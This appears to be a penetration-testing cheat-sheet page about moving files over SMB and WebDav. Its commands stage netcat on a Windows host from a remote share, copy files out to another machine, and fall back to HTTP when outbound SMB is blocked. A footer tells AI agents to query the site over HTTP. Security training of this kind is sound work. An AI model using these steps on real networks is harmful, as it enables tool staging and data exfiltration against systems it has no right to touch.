> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/file-transfers/file-transfers/smb-transfers.md).

# SMB Transfers

## Impacket SMB Server

```bash
# Basic
sudo impacket-smbserver share -smb2support /tmp/smbshare

# With authentication (for newer Windows that block guest access)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

***

## Windows — Copy from SMB

```cmd
copy \\10.10.10.32\share\nc.exe
```

If "unauthenticated guest access" is blocked, mount with credentials:

```cmd
net use n: \\10.10.10.32\share /user:test test
copy n:\nc.exe
```

## Windows — Copy to SMB (Upload)

```cmd
copy C:\Users\john\Desktop\output.txt \\10.10.14.22\share\output.txt
```

***

## SMB over HTTP (WebDav)

When SMB (TCP/445) is blocked outbound, WebDav works over HTTP/HTTPS. Windows will fall back to HTTP if SMB fails.

```bash
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
```

On Windows:

```cmd
dir \\192.168.49.128\DavWWWRoot
copy C:\file.txt \\192.168.49.128\DavWWWRoot\
copy C:\file.txt \\192.168.49.128\sharefolder\
```

`DavWWWRoot` is a special Windows Shell keyword for the WebDav root — no such folder exists on the server.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/file-transfers/file-transfers/smb-transfers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
